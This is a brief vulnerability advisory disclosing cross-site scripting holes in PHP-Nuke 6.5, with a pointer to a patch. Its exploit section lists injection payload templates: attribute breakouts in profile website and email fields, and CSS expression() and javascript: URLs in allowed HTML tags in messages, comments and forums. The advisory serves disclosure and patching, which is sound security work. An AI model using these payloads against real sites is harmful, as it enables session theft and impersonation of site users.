Informations :
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Language : PHP
Website : http://www.phpnuke.org
Tested Version : 6.5 FINAL
Problem : Cross Site Scripting

Exploit :
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In the website or the email of the profil :
- http://" onclick="[SCRIPT]
(onclick can be replaced by ondblclick, onhelp, onmouseout, onmousemove,...)
- " style="list-style:url(javascript:[SCRIPT]); visibility:hidden;

- " style="zoom:expression([SCRIPT]); visibility:hidden;

etc...

In private messages (not with phpBB), comments, news, forums,... :

<i style="overflow:expression([SCRIPT]);"></i>

<br style="overflow:expression([SCRIPT]);">

<a style="left:expression([SCRIPT]);"></a>

<a style="background:url('javascript:[SCRIPT]');"></a>

<li style="list-style-image:url('javascript:[SCRIPT]');">

<b style="background:url('javascript:[SCRIPT]');"></b>

etc... with :

- <b>
- <i>
- <a>
- <em>
- <br>
- <strong>
- <blockquote>
- <tt>
- <li>
- <ol>
- <ul>

Patch :
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A patch can be found on http://www.phpsecure.info

More Details In French :
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http://www.frog-man.org/tutos/PHP-Nuke-html.txt

frog-m@n

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